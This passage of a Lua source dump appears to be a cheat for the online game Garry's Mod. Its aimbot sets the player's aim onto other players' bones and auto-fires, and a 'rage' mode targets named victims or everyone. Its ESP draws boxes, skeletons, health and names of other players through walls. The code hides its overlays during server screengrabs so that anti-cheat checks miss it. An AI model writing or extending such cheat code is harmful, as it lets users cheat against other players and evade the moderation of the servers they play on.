):Length() >= (fov or 0.997)) then return true end 196 | 197 | end 198 | 199 | return false 200 | end 201 | 202 | function methamphetamine:GetClosestPlayer() 203 | local ply 204 | 205 | local tTargets = {} 206 | for k , v in ipairs(player.GetAll()) do 207 | if v == LocalPlayer or not v:Alive() then goto skipTargetGathering end 208 | if not methamphetamine:IsPlayerWithinFOV(v,0.95) then goto skipTargetGathering end 209 | if methamphetamine.mods["Aim"]["Ignore"]["Friends"] then 210 | if methamphetamine.friends[v] then goto skipTargetGathering end 211 | elseif methamphetamine.mods["Aim"]["Ignore"]["Noclipping"] then 212 | if v:GetMoveType() == MOVETYPE_NOCLIP then goto skipTargetGathering end 213 | elseif methamphetamine.mods["Aim"]["Ignore"]["SelectedTeams"] then 214 | if methamphetamine.teams[v:Team()] then goto skipTargetGathering end 215 | elseif methamphetamine.mods["Aim"]["Ignore"]["OppositeTeam"] then 216 | if v:Team() != LocalPlayer:Team() then print("Skipping") goto skipTargetGathering end 217 | elseif methamphetamine.mods["Aim"]["Ignore"]["SameTeam"] then 218 | if v:Team() == LocalPlayer:Team() then print("SameTeam2") goto skipTargetGathering end 219 | elseif methamphetamine.mods["Aim"]["Ignore"]["Transparent"] then 220 | if v:GetColor().a != 255 then goto skipTargetGathering end 221 | elseif methamphetamine.mods["Aim"]["Ignore"]["Invisible"] then 222 | if v:GetNoDraw() or v:GetRenderMode() == RENDERMODE_TRANSALPHA or v:GetMaterial() == "models/effects/vol_light001" then goto skipTargetGathering end 223 | elseif methamphetamine.mods["Aim"]["Ignore"]["Party"] then 224 | 225 | end 226 | 227 | if methamphetamine:IsPlayerWithinFOV(v,fov) then 228 | tTargets[#tTargets+1] = v 229 | end 230 | ::skipTargetGathering:: 231 | end 232 | 233 | 234 | table.sort(tTargets,function(a,b) 235 | local aBonePos = a:LookupBone( self.limbs["Spine"] ) and a:GetBonePosition( a:LookupBone( self.limbs["Spine"] ) ) or a:GetPos() + a:OBBCenter() 236 | local bBonePos = b:LookupBone( self.limbs["Spine"] ) and b:GetBonePosition( b:LookupBone( self.limbs["Spine"] ) ) or b:GetPos() + b:OBBCenter() 237 | local diff = aBonePos - LocalPlayer:GetShootPos() 238 | local targetdiff = bBonePos - LocalPlayer:GetShootPos() 239 | return LocalPlayer:GetAimVector():Dot(diff) / diff:Length() > LocalPlayer:GetAimVector():Dot(targetdiff) / targetdiff:Length() 240 | end) 241 | 242 | for k,v in ipairs(tTargets) do 243 | if not ply then ply = v end 244 | if ply:GetPos():DistToSqr(LocalPlayer:GetPos()) > v:GetPos():DistToSqr(LocalPlayer:GetPos()) then ply = v end 245 | end 246 | 247 | return ply 248 | end 249 | 250 | function methamphetamine:AddFriendByKeyword( keyword ) 251 | for k , v in ipairs(meth_getPlayers()) do 252 | if v == LocalPlayer then goto skip end 253 | if string.find(string.lower(v:Nick()),string.lower(keyword)) then 254 | methamphetamine.friends[v] = true 255 | end 256 | ::skip:: 257 | end 258 | end 259 | 260 | function methamphetamine:RemoveFriendByKeyword( keyword ) 261 | for k , v in pairs(methamphetamine.friends) do 262 | if string.find(string.lower(k:Nick()),string.lower(keyword)) then 263 | methamphetamine.friends[k] = nil 264 | end 265 | end 266 | end 267 | 268 | function methamphetamine:AddRageVictimByKeyword( keyword ) 269 | for k , v in ipairs(meth_getPlayers()) do 270 | if v == LocalPlayer then goto skip end 271 | if keyword == "*" then 272 | methamphetamine.ragevictims[v] = true 273 | methamphetamine.Log("Adding rage victim ".. v:Nick() ) 274 | elseif string.find(string.lower(v:Nick()),string.lower(keyword)) then 275 | methamphetamine.ragevictims[v] = true 276 | methamphetamine.Log("Adding rage victim ".. v:Nick() ) 277 | end 278 | ::skip:: 279 | end 280 | end 281 | 282 | function methamphetamine:RemoveRageVictimByKeyword( keyword ) 283 | for k , v in pairs(methamphetamine.ragevictims) do 284 | if string.find(string.lower(k:Nick()),string.lower(keyword)) then 285 | methamphetamine.Log("Removing rage victim ".. k:Nick() ) 286 | methamphetamine.ragevictims[k] = nil 287 | end 288 | end 289 | end 290 | 291 | function methamphetamine:CalculateCurLimbPos( ply , limb ) 292 | local bone = ply:LookupBone( self.limbs[limb] ) 293 | local bonepos,ang 294 | if bone then 295 | bonepos,ang = ply:GetBonePosition( bone ) 296 | end 297 | if not ( bone ) then 298 | bonepos = ply:GetPos() + ply:OBBCenter() 299 | end 300 | 301 | local tarFrames, plyFrames = ( RealFrameTime() / 25 ), ( RealFrameTime() / 66 ) 302 | return bonepos + ( ( ply:GetVelocity() * ( tarFrames ) ) - ( LocalPlayer:GetVelocity() * ( plyFrames ) ) ) 303 | end 304 | 305 | function methamphetamine:GetClosestPlayerToCrosshair() 306 | local closest 307 | for k , v in ipairs( meth_getPlayers() ) do 308 | if v == LocalPlayer then goto skip end 309 | if not v:Alive() then goto skip end 310 | 311 | if methamphetamine.mods["Aim"]["Ignore"]["Friends"] then 312 | if methamphetamine.friends[v] then goto skip end 313 | elseif methamphetamine.mods["Aim"]["Ignore"]["Noclipping"] then 314 | if v:GetMoveType() == MOVETYPE_NOCLIP then goto skip end 315 | elseif methamphetamine.mods["Aim"]["Ignore"]["SelectedTeams"] then 316 | if methamphetamine.teams[v:Team()] then goto skip end 317 | elseif methamphetamine.mods["Aim"]["Ignore"]["OppositeTeam"] then 318 | if v:Team() != LocalPlayer:Team() then print("Skipping") goto skip end 319 | elseif methamphetamine.mods["Aim"]["Ignore"]["SameTeam"] then 320 | if v:Team() == LocalPlayer:Team() then print("SameTeam2") goto skip end 321 | elseif methamphetamine.mods["Aim"]["Ignore"]["Transparent"] then 322 | if v:GetColor().a != 255 then goto skip end 323 | elseif methamphetamine.mods["Aim"]["Ignore"]["Invisible"] then 324 | if v:GetNoDraw() or v:GetRenderMode() == RENDERMODE_TRANSALPHA or ply:GetMaterial() == "models/effects/vol_light001" then goto skip end 325 | elseif methamphetamine.mods["Aim"]["Ignore"]["Party"] then 326 | 327 | end 328 | if not methamphetamine:IsPlayerWithinFOV(v,0.95) then goto skip end 329 | if not closest then closest = v end 330 | local bonepos = v:LookupBone( self.limbs["Spine"] ) and v:GetBonePosition( v:LookupBone( self.limbs["Spine"] ) ) or v:GetPos() + v:OBBCenter() 331 | local closestbonepos = closest:LookupBone( self.limbs["Spine"] ) and closest:GetBonePosition( closest:LookupBone( self.limbs["Spine"] ) ) or closest:GetPos() + closest:OBBCenter() 332 | local diff = bonepos - LocalPlayer:GetShootPos() 333 | local targetdiff = closestbonepos - LocalPlayer:GetShootPos() 334 | if LocalPlayer:GetAimVector():Dot(diff) / diff:Length() > LocalPlayer:GetAimVector():Dot(targetdiff) / targetdiff:Length() then 335 | closest = v 336 | end 337 | ::skip:: 338 | end 339 | return closest 340 | end 341 | 342 | local AimbotTarget 343 | local lastautoshoot = 0 344 | 345 | function methamphetamine:GetPlayerWithHealth( condition,fov ) 346 | local ply 347 | 348 | local tTargets = {} 349 | if fov then 350 | for k , v in ipairs(player.GetAll()) do 351 | if v == LocalPlayer or not v:Alive() then goto skipTargetGathering end 352 | if methamphetamine.mods["Aim"]["Ignore"]["Friends"] then 353 | if methamphetamine.friends[v] then goto skipTargetGathering end 354 | elseif methamphetamine.mods["Aim"]["Ignore"]["Noclipping"] then 355 | if v:GetMoveType() == MOVETYPE_NOCLIP then goto skipTargetGathering end 356 | elseif methamphetamine.mods["Aim"]["Ignore"]["SelectedTeams"] then 357 | if methamphetamine.teams[v:Team()] then goto skipTargetGathering end 358 | elseif methamphetamine.mods["Aim"]["Ignore"]["OppositeTeam"] then 359 | if v:Team() != LocalPlayer:Team() then print("Skipping") goto skipTargetGathering end 360 | elseif methamphetamine.mods["Aim"]["Ignore"]["SameTeam"] then 361 | if v:Team() == LocalPlayer:Team() then print("SameTeam2") goto skipTargetGathering end 362 | elseif methamphetamine.mods["Aim"]["Ignore"]["Transparent"] then 363 | if v:GetColor().a != 255 then goto skipTargetGathering end 364 | elseif methamphetamine.mods["Aim"]["Ignore"]["Invisible"] then 365 | if v:GetNoDraw() or v:GetRenderMode() == RENDERMODE_TRANSALPHA or v:GetMaterial() == "models/effects/vol_light001" then goto skipTargetGathering end 366 | elseif methamphetamine.mods["Aim"]["Ignore"]["Party"] then 367 | 368 | end 369 | 370 | if methamphetamine:IsPlayerWithinFOV(v,fov) then 371 | tTargets[#tTargets+1] = v 372 | end 373 | ::skipTargetGathering:: 374 | end 375 | else 376 | tTargets = player.GetAll() 377 | end 378 | 379 | table.sort(tTargets,function(a,b) 380 | local aBonePos = a:LookupBone( self.limbs["Spine"] ) and a:GetBonePosition( a:LookupBone( self.limbs["Spine"] ) ) or a:GetPos() + a:OBBCenter() 381 | local bBonePos = b:LookupBone( self.limbs["Spine"] ) and b:GetBonePosition( b:LookupBone( self.limbs["Spine"] ) ) or b:GetPos() + b:OBBCenter() 382 | local diff = aBonePos - LocalPlayer:GetShootPos() 383 | local targetdiff = bBonePos - LocalPlayer:GetShootPos() 384 | return LocalPlayer:GetAimVector():Dot(diff) / diff:Length() > LocalPlayer:GetAimVector():Dot(targetdiff) / targetdiff:Length() 385 | end) 386 | 387 | for k,v in ipairs(tTargets) do 388 | if not ply then ply = v end 389 | if condition == "Highest" then 390 | if v:Health() > ply:Health() then 391 | ply = v 392 | end 393 | else 394 | if v:Health() < ply:Health() then 395 | ply = v 396 | end 397 | end 398 | end 399 | 400 | return ply 401 | end 402 | 403 | function methamphetamine.SmoothAim( ang ) 404 | if( methamphetamine.mods["Aim"].Smooth == 0 ) then return ang end 405 | local speed = RealFrameTime() / ( methamphetamine.mods["Aim"].Smooth / 50 ) 406 | local angl = LerpAngle( speed*2.5, LocalPlayer:EyeAngles(), ang ) 407 | return Angle( angl.p, angl.y, 0 ) 408 | end 409 | 410 | local lastautoshoot 411 | local delay = {} 412 | hook.Add("Think", "Aimbot", function () 413 | if not methamphetamine.mods["Aim"].enabled then return end 414 | if methamphetamine.mods["Aim"].Rage then return end 415 | if not ( methamphetamine.mods["Aim"].Key ) then return end 416 | if not input.IsKeyDown( methamphetamine.mods["Aim"].Key ) and not input.IsMouseDown( methamphetamine.mods["Aim"].Key ) then 417 | AimbotTarget = nil 418 | return 419 | end 420 | 421 | -- local target = methamphetamine:GetClosestPlayer() 422 | -- if not IsValid( target ) then return end 423 | -- LocalPlayer:SetEyeAngles( ( methamphetamine:CalculateCurLimbPos( target , "Head" ) - LocalPlayer:GetShootPos() ):Angle() ) 424 | if AimbotTarget then 425 | if not AimbotTarget:Alive() then AimbotTarget = nil return end 426 | if methamphetamine.mods["Aim"]["Autofire"] then 427 | local wep = LocalPlayer:GetActiveWeapon() 428 | if LocalPlayer:GetEyeTraceNoCursor().Entity == AimbotTarget then 429 | RunConsoleCommand("-attack") 430 | if CurTime() - (lastautoshoot or 0) > (delay[wep] or 0.05) then 431 | RunConsoleCommand("+attack") 432 | lastautoshoot = CurTime() 433 | delay[wep] = wep.FireDelay or wep.Delay or 0.05 434 | end 435 | end 436 | 437 | end 438 | local headpos = methamphetamine:CalculateCurLimbPos( AimbotTarget , methamphetamine.mods["Aim"].Limb ) 439 | local targetpos = ( headpos - LocalPlayer:GetShootPos() ):Angle() 440 | if methamphetamine.mods["Aim"]["NoRecoil"] and input.IsMouseDown( MOUSE_LEFT ) then 441 | --targetpos = targetpos - Angle(0,methamphetamine.CalculateRecoilCompensation(LocalPlayer).y,0) 442 | end 443 | LocalPlayer:SetEyeAngles( methamphetamine.SmoothAim(targetpos) ) 444 | else 445 | local priority = methamphetamine.mods["Aim"].Priority or "FOV" 446 | local v 447 | local log = "Looking for an aimbot target with priority: ".. priority 448 | -- if methamphetamine.DebugLogs[#methamphetamine.DebugLogs].text != log then 449 | -- methamphetamine.Log(log) 450 | -- end 451 | if priority == "Field of View" then 452 | v = methamphetamine:GetClosestPlayerToCrosshair() 453 | elseif priority == "Closest Distance" then 454 | v = methamphetamine:GetClosestPlayer() 455 | elseif priority == "Least Health" then 456 | v = methamphetamine:GetPlayerWithHealth( "Lowest",0.95 ) 457 | elseif priority == "Most Health" then 458 | v = methamphetamine:GetPlayerWithHealth( "Highest",0.95 ) 459 | end 460 | -- if methamphetamine:IsPlayerWithinFOV( v , 0.95 ) then 461 | AimbotTarget = v 462 | --end 463 | 464 | end 465 | end) 466 | 467 | local ragetarget 468 | hook.Add("Think", "AimbotRage", function() 469 | if not methamphetamine.mods["Aim"].enabled then return end 470 | if ragetarget and not methamphetamine.mods["Aim"].rage then ragetarget = nil end 471 | if not methamphetamine.mods["Aim"].Rage then return end 472 | --print("RAGE") 473 | for k , v in pairs( methamphetamine.ragevictims ) do 474 | if not IsValid( k ) then methamphetamine.ragevictims[ v ] = nil goto skiprage end 475 | if not k:Alive() then goto skiprage end 476 | if ragetarget then 477 | if LocalPlayer:GetPos():DistToSqr(k:GetPos()) < LocalPlayer:GetPos():DistToSqr( ragetarget:GetPos() ) then 478 | ragetarget = k 479 | end 480 | else 481 | ragetarget = k 482 | end 483 | local limbpos = (methamphetamine:CalculateCurLimbPos( ragetarget , methamphetamine.mods["Aim"].Limb )) 484 | LocalPlayer:SetEyeAngles( (( limbpos - LocalPlayer:GetShootPos()) ):Angle() ) 485 | ::skiprage:: 486 | end 487 | end) 488 | 489 | concommand.Add("methamphetamine_rage", function() 490 | methamphetamine.mods["Aim"].Rage = not methamphetamine.mods["Aim"].Rage 491 | end) 492 | 493 | concommand.Add("methamphetamine_removeragevictim", function( ply, cmd, args ) 494 | if not args[1] then return end 495 | methamphetamine:RemoveRageVictimByKeyword( args[1] ) 496 | end) 497 | 498 | concommand.Add("methamphetamine_addragevictims", function( ply, cmd, args ) 499 | if not args[1] then return end 500 | methamphetamine:AddRageVictimByKeyword( args[1] ) 501 | end) 502 | 503 | 504 | 505 | --local player = meth_getPlayers()[2] 506 | hook.Add("HUDPaint", "Aimbot", function() 507 | if !methamphetamine.mods.ESP.MasterToggle or !methamphetamine.mods.Aim.enabled then return end 508 | local r = ScrH() * math.tan(math.rad(methamphetamine.mods["Aim"].FOV/2)) / (2*math.tan(math.rad(LocalPlayer:GetFOV()/2))) -- ScrH() * math.tan(math.rad(fov/2)) / (2*math.tan(math.rad(plyFov/2))) 509 | surface.DrawCircle( ScrW()/2,ScrH()/2,r, 255,255,255 ) 510 | 511 | end) 512 | -------------------------------------------------------------------------------- /lua/esp.lua: -------------------------------------------------------------------------------- 1 | --[[ 2 | ____ ______ _ __ 3 | / __ )__ __/ / / /_ _| | / /___ _________ 4 | / __ / / / / / / / / / / | /| / / __ `/ ___/ _ \ 5 | / /_/ / /_/ / / / / /_/ /| |/ |/ / /_/ / / / __/ 6 | /_____/\__,_/_/_/_/\__, / |__/|__/\__,_/_/ \___/ 7 | /____/ 8 | ]]-- 9 | 10 | local GetAllPlayers = player.GetAll 11 | local ipairs = ipairs 12 | local addHook = hook.Add 13 | local getPosition = FindMetaTable("Entity").GetPos 14 | local CurTime = CurTime 15 | local drawSurfaceLine = surface.DrawLine 16 | local bones = methamphetamine.bones 17 | local surface = surface 18 | local DrawRect = surface.DrawRect 19 | local DrawText = surface.DrawText 20 | local SetDrawColor = surface.SetDrawColor 21 | local SetTextColor = surface.SetTextColor 22 | local GetTeamColor = team.GetColor 23 | local AddHalo = halo.Add 24 | local sqrt = math.sqrt 25 | local floor = math.floor 26 | local function drawBones( ply ) 27 | local Bones = {} 28 | for k, v in ipairs(bones) do 29 | if ply:LookupBone(v) != nil && ply:GetBonePosition(ply:LookupBone(v)) != nil then 30 | table.insert( Bones, ply:GetBonePosition(ply:LookupBone(v)):ToScreen() ) 31 | else 32 | return 33 | end 34 | end 35 | 36 | drawSurfaceLine( Bones[1].x, Bones[1].y, Bones[2].x, Bones[2].y ) 37 | drawSurfaceLine( Bones[2].x, Bones[2].y, Bones[3].x, Bones[3].y ) 38 | drawSurfaceLine( Bones[3].x, Bones[3].y, Bones[4].x, Bones[4].y ) 39 | drawSurfaceLine( Bones[4].x, Bones[4].y, Bones[5].x, Bones[5].y ) 40 | drawSurfaceLine( Bones[5].x, Bones[5].y, Bones[6].x, Bones[6].y ) 41 | drawSurfaceLine( Bones[6].x, Bones[6].y, Bones[7].x, Bones[7].y ) 42 | drawSurfaceLine( Bones[7].x, Bones[7].y, Bones[14].x, Bones[14].y ) 43 | drawSurfaceLine( Bones[14].x, Bones[14].y, Bones[15].x, Bones[15].y ) 44 | drawSurfaceLine( Bones[15].x, Bones[15].y, Bones[16].x, Bones[16].y ) 45 | drawSurfaceLine( Bones[16].x, Bones[16].y, Bones[17].x, Bones[17].y ) 46 | drawSurfaceLine( Bones[7].x, Bones[7].y, Bones[18].x, Bones[18].y ) 47 | drawSurfaceLine( Bones[18].x, Bones[18].y, Bones[19].x, Bones[19].y ) 48 | drawSurfaceLine( Bones[19].x, Bones[19].y, Bones[20].x, Bones[20].y ) 49 | drawSurfaceLine( Bones[20].x, Bones[20].y, Bones[21].x, Bones[21].y ) 50 | drawSurfaceLine( Bones[3].x, Bones[3].y, Bones[8].x, Bones[8].y ) 51 | drawSurfaceLine( Bones[8].x, Bones[8].y, Bones[9].x, Bones[9].y ) 52 | drawSurfaceLine( Bones[9].x, Bones[9].y, Bones[10].x, Bones[10].y ) 53 | drawSurfaceLine( Bones[3].x, Bones[3].y, Bones[11].x, Bones[11].y ) 54 | drawSurfaceLine( Bones[11].x, Bones[11].y, Bones[12].x, Bones[12].y ) 55 | drawSurfaceLine( Bones[12].x, Bones[12].y, Bones[13].x, Bones[13].y ) 56 | ::skipdrawbone:: 57 | end 58 | 59 | local function getBounds( Ent ) 60 | local Points = { 61 | Vector( Ent:OBBMaxs().x, Ent:OBBMaxs().y, Ent:OBBMaxs().z ), 62 | Vector( Ent:OBBMaxs().x, Ent:OBBMaxs().y, Ent:OBBMins().z ), 63 | Vector( Ent:OBBMaxs().x, Ent:OBBMins().y, Ent:OBBMins().z ), 64 | Vector( Ent:OBBMaxs().x, Ent:OBBMins().y, Ent:OBBMaxs().z ), 65 | Vector( Ent:OBBMins().x, Ent:OBBMins().y, Ent:OBBMins().z ), 66 | Vector( Ent:OBBMins().x, Ent:OBBMins().y, Ent:OBBMaxs().z ), 67 | Vector( Ent:OBBMins().x, Ent:OBBMaxs().y, Ent:OBBMins().z ), 68 | Vector( Ent:OBBMins().x, Ent:OBBMaxs().y, Ent:OBBMaxs().z ) 69 | } 70 | local MaxX, MaxY, MinX, MinY 71 | local V1, V2, V3, V4, V5, V6, V7, V8 72 | for k, v in ipairs( Points ) do 73 | local ScreenPos = Ent:LocalToWorld( v ):ToScreen() 74 | if MaxX != nil then 75 | MaxX, MaxY, MinX, MinY = math.max( MaxX, ScreenPos.x ), math.max( MaxY, ScreenPos.y), math.min( MinX, ScreenPos.x ), math.min( MinY, ScreenPos.y) 76 | else 77 | MaxX, MaxY, MinX, MinY = ScreenPos.x, ScreenPos.y, ScreenPos.x, ScreenPos.y 78 | end 79 | 80 | if V1 == nil then 81 | V1 = ScreenPos 82 | elseif V2 == nil then 83 | V2 = ScreenPos 84 | elseif V3 == nil then 85 | V3 = ScreenPos 86 | elseif V4 == nil then 87 | V4 = ScreenPos 88 | elseif V5 == nil then 89 | V5 = ScreenPos 90 | elseif V6 == nil then 91 | V6 = ScreenPos 92 | elseif V7 == nil then 93 | V7 = ScreenPos 94 | elseif V8 == nil then 95 | V8 = ScreenPos 96 | end 97 | end 98 | return MaxX, MaxY, MinX, MinY, V1, V2, V3, V4, V5, V6, V7, V8 99 | end 100 | 101 | local scrw,scrh = ScrW(),ScrH() 102 | 103 | 104 | print("CREATING ENTITIES TABLE ") 105 | local vguicolors = methamphetamine.colors 106 | methamphetamine.mods["ESP"].Entities = {} 107 | function methamphetamine.GetESPEntites() 108 | local returned = {} 109 | for k ,v in ipairs( ents.GetAll() ) do 110 | if methamphetamine.mods["ESP"].Entities[ v:GetClass() ] then 111 | print(k,v) 112 | returned[#returned + 1] = v 113 | end 114 | end 115 | return returned 116 | end 117 | methamphetamine.espentities = methamphetamine.GetESPEntites() 118 | 119 | timer.Create("methamphetamine.updateentityesp", 15, 0 , function() 120 | methamphetamine.espentities = methamphetamine.GetESPEntites() 121 | end) 122 | 123 | addHook("HUDPaint","methamphetamine.entityesp",function() 124 | if methamphetamine.screengrab then return end 125 | for k , v in ipairs(methamphetamine.espentities) do 126 | if not IsValid(v) then table.remove(methamphetamine.espentities,k) return end 127 | if v:GetPos():DistToSqr(LocalPlayer():GetPos()) > methamphetamine.mods.ESP.Range*methamphetamine.mods.ESP.Range then goto skipEntityRendering end 128 | local entpos = (v:GetPos() + v:OBBCenter()):ToScreen() 129 | local text = v:GetClass() 130 | surface.SetFont( methamphetamine.default.font ) 131 | surface.SetTextColor( color_white ) 132 | local textwide,texttall = surface.GetTextSize( text) 133 | surface.SetTextPos( entpos.x - textwide/2,entpos.y-texttall/2 ) 134 | surface.DrawText( text ) 135 | ::skipEntityRendering:: 136 | end 137 | end) 138 | 139 | local cachedTeamColors = {} 140 | methamphetamine.GetTeamColor = function(iTeam) 141 | if not cachedTeamColors[iTeam] then 142 | cachedTeamColors[iTeam] = GetTeamColor(iTeam) 143 | end 144 | return cachedTeamColors[iTeam] 145 | end 146 | 147 | local cachedTeamNames = {} 148 | methamphetamine.GetTeamName = function(iTeam) 149 | if not cachedTeamNames[iTeam] then 150 | cachedTeamNames[iTeam] = team.GetName(iTeam) 151 | end 152 | return cachedTeamNames[iTeam] 153 | end 154 | 155 | local function calculateTextOffSet( strText, strFont, iAlignX, iAlignY ) -- 1 and 4 is pretty much all i use 156 | iAlignX = iAlignX or 0 157 | iAlignY = iAlignY or 0 158 | surface.SetFont(strFont) 159 | local textWide,textTall = surface.GetTextSize(strText) 160 | local offsetx,offsety = 0,0 161 | if iAlignX == 1 then 162 | offsetx = offsetx - (textWide/2) 163 | elseif iAlignX == 2 then 164 | offsetx = offsetx - textWide 165 | end 166 | if iAlignY == 4 then 167 | offsety = offsety + textTall 168 | elseif iAlignY == 2 then 169 | offsety = offsety - (textTall/2) 170 | end 171 | return offsetx,offsety 172 | end 173 | 174 | local colors 175 | addHook("HUDPaint","methamphetamine.esp",function() 176 | if methamphetamine.screengrab then return end 177 | colors = methamphetamine.mods and methamphetamine.mods["ESP"] and methamphetamine.mods["ESP"].colors or {} 178 | 179 | if CurTime() - methamphetamine.lastscreengrab < 5 then 180 | surface.SetDrawColor( vguicolors.background ) 181 | surface.DrawRect(ScrW() /2 - 110,0,220,30) 182 | surface.SetDrawColor( vguicolors.border ) 183 | surface.DrawOutlinedRect(ScrW() / 2 - 110,0,220,30) 184 | surface.SetFont( methamphetamine.default.font ) 185 | surface.SetTextColor( vguicolors.text ) 186 | surface.SetTextPos( ScrW() / 2 - 75,8 ) 187 | surface.DrawText("You were screengrabbed") 188 | end 189 | if not methamphetamine.mods["ESP"].MasterToggle then return end 190 | local rainbow = HSVToColor( (CurTime()*20)%360,1,1 ) 191 | for k , v in ipairs( GetAllPlayers() ) do 192 | if v:Health() <= 0 or v == LocalPlayer() then goto skiprender end 193 | if LocalPlayer():GetPos():DistToSqr( v:GetPos() ) > methamphetamine.mods["ESP"].Range*methamphetamine.mods["ESP"].Range then goto skiprender end 194 | local LEFT_MARGIN = 0 195 | local TOP_MARGIN = 0 196 | local RIGHT_MARGIN = 0 197 | local BOTTOM_MARGIN = 0 198 | local teamcolor = methamphetamine.GetTeamColor(v:Team()) 199 | local healthcolor = Color( 255 * (1 - (v:Health() / v:GetMaxHealth())) , 255 * (v:Health()/v:GetMaxHealth()), 0 ) 200 | local MaxX,MaxY,MinX,MinY,V1,V2,V3,V4,V5,V6,V7,V8 = getBounds( v ) 201 | local distance = floor(sqrt(LocalPlayer():GetPos():DistToSqr(v:GetPos()))) 202 | 203 | if methamphetamine.mods["ESP"].enabled["Box"] then 204 | if methamphetamine.mods["ESP"].colortype["Box"] == "Selected Color" then 205 | SetDrawColor( colors.Box or color_white ) 206 | elseif methamphetamine.mods["ESP"].colortype["Box"] == "Team Color" then 207 | SetDrawColor( teamcolor ) 208 | elseif methamphetamine.mods["ESP"].colortype["Box"] == "Health Color" then 209 | SetDrawColor( healthcolor ) 210 | elseif methamphetamine.mods["ESP"].colortype["Box"] == "Rainbow" then 211 | SetDrawColor( rainbow ) 212 | end 213 | if methamphetamine.mods["ESP"].types["Box"] == "2D [None]" then 214 | drawSurfaceLine( MaxX, MaxY, MinX, MaxY ) 215 | drawSurfaceLine( MaxX, MaxY, MaxX, MinY ) 216 | drawSurfaceLine( MinX, MinY, MaxX, MinY ) 217 | drawSurfaceLine( MinX, MinY, MinX, MaxY ) 218 | elseif methamphetamine.mods["ESP"].types["Box"] == "3D [None]" then 219 | drawSurfaceLine( V4.x, V4.y, V6.x, V6.y ) 220 | drawSurfaceLine( V1.x, V1.y, V8.x, V8.y ) 221 | drawSurfaceLine( V6.x, V6.y, V8.x, V8.y ) 222 | drawSurfaceLine( V4.x, V4.y, V1.x, V1.y ) 223 | 224 | 225 | drawSurfaceLine( V3.x, V3.y, V5.x, V5.y ) 226 | drawSurfaceLine( V2.x, V2.y, V7.x, V7.y ) 227 | drawSurfaceLine( V3.x, V3.y, V2.x, V2.y ) 228 | drawSurfaceLine( V5.x, V5.y, V7.x, V7.y ) 229 | 230 | 231 | drawSurfaceLine( V3.x, V3.y, V4.x, V4.y ) 232 | drawSurfaceLine( V2.x, V2.y, V1.x, V1.y ) 233 | drawSurfaceLine( V7.x, V7.y, V8.x, V8.y ) 234 | drawSurfaceLine( V5.x, V5.y, V6.x, V6.y ) 235 | end 236 | end 237 | 238 | if methamphetamine.mods["ESP"].enabled["Skeleton"] then 239 | if methamphetamine.mods["ESP"].colortype["Skeleton"] == "Selected Color" then 240 | SetDrawColor( colors.Skeleton or color_white ) 241 | elseif methamphetamine.mods["ESP"].colortype["Skeleton"] == "Team Color" then 242 | SetDrawColor( teamcolor ) 243 | elseif methamphetamine.mods["ESP"].colortype["Skeleton"] == "Health Color" then 244 | SetDrawColor( healthcolor ) 245 | elseif methamphetamine.mods["ESP"].colortype["Skeleton"] == "Rainbow" then 246 | SetDrawColor( rainbow ) 247 | end 248 | drawBones( v ) 249 | end 250 | 251 | 252 | if methamphetamine.mods["ESP"].enabled["Health [Bar]"] then 253 | --print("Drawing health bar") 254 | local width = 6 255 | local margin = width*2 256 | local diff = (MaxY - MinY) - ((MaxY - MinY) * math.min( math.max(v:Health(),0) / v:GetMaxHealth(),1)) 257 | surface.SetDrawColor( color_black ) 258 | surface.DrawPoly({ 259 | { x = MaxX + margin, y = MaxY }, 260 | { x = MaxX + width , y = MaxY }, 261 | { x = MaxX + width, y = MinY }, 262 | { x = MaxX + margin , y = MinY }, 263 | }) 264 | 265 | if methamphetamine.mods["ESP"].colortype["Health [Bar]"] == "Selected Color" then 266 | SetDrawColor( colors["Health [Bar]"] or color_white ) 267 | elseif methamphetamine.mods["ESP"].colortype["Health [Bar]"] == "Team Color" then 268 | SetDrawColor( teamcolor ) 269 | elseif methamphetamine.mods["ESP"].colortype["Health [Bar]"] == "Health Color" then 270 | SetDrawColor( healthcolor ) 271 | elseif methamphetamine.mods["ESP"].colortype["Health [Bar]"] == "Rainbow" then 272 | SetDrawColor( rainbow ) 273 | end 274 | 275 | surface.DrawPoly({ 276 | { x = MaxX + margin - 1, y = MaxY - 1}, 277 | { x = MaxX + width + 1, y = MaxY - 1}, 278 | { x = MaxX + width + 1, y = MinY + 1 + diff}, 279 | { x = MaxX + margin - 1, y = MinY + 1 + diff}, 280 | }) 281 | end 282 | surface.SetFont(methamphetamine.default.font) 283 | local _,TEXT_MARGIN_INCREMENT = surface.GetTextSize("012376543") 284 | if methamphetamine.mods["ESP"].enabled["Name"] then 285 | if methamphetamine.mods["ESP"].colortype["Name"] == "Selected Color" then 286 | SetTextColor( colors["Name"] or color_white ) 287 | elseif methamphetamine.mods["ESP"].colortype["Name"] == "Team Color" then 288 | SetTextColor( teamcolor ) 289 | elseif methamphetamine.mods["ESP"].colortype["Name"] == "Health Color" then 290 | SetTextColor( healthcolor ) 291 | elseif methamphetamine.mods["ESP"].colortype["Name"] == "Rainbow" then 292 | SetTextColor( rainbow ) 293 | end 294 | local nameRenderType = methamphetamine.mods["ESP"].types["Name"] 295 | local str = v.SteamName and v:SteamName() or v:Nick() 296 | if nameRenderType == "Top" then 297 | local x = MinX - ((MinX-MaxX)/2) 298 | local offsetx,offsety = calculateTextOffSet(str,methamphetamine.default.font,1,4) 299 | surface.SetTextPos(x + offsetx,MinY-TOP_MARGIN-offsety) 300 | surface.DrawText(str) 301 | TOP_MARGIN = TOP_MARGIN + TEXT_MARGIN_INCREMENT 302 | elseif nameRenderType == "Left" then 303 | local x = MinX - 1 304 | local offsetx,offsety = calculateTextOffSet(str,methamphetamine.default.font,2,1) 305 | surface.SetTextPos(x + offsetx,MinY-LEFT_MARGIN+offsety) 306 | surface.DrawText(str) 307 | LEFT_MARGIN = LEFT_MARGIN - TEXT_MARGIN_INCREMENT 308 | elseif nameRenderType == "Right" then 309 | local x = MaxX + 1 310 | local offsetx,offsety = calculateTextOffSet(str,methamphetamine.default.font,0,1) 311 | surface.SetTextPos(x + offsetx,MinY-RIGHT_MARGIN+offsety) 312 | surface.DrawText(str) 313 | RIGHT_MARGIN = RIGHT_MARGIN - TEXT_MARGIN_INCREMENT 314 | elseif nameRenderType == "Bottom" then 315 | local x = MinX - ((MinX-MaxX)/2) 316 | local offsetx,offsety = calculateTextOffSet(str,methamphetamine.default.font,1,0) 317 | surface.SetTextPos(x + offsetx,MaxY+BOTTOM_MARGIN+offsety) 318 | surface.DrawText(str) 319 | BOTTOM_MARGIN = BOTTOM_MARGIN + TEXT_MARGIN_INCREMENT 320 | end 321 | end 322 | if methamphetamine.mods["ESP"].enabled["Rank"] then 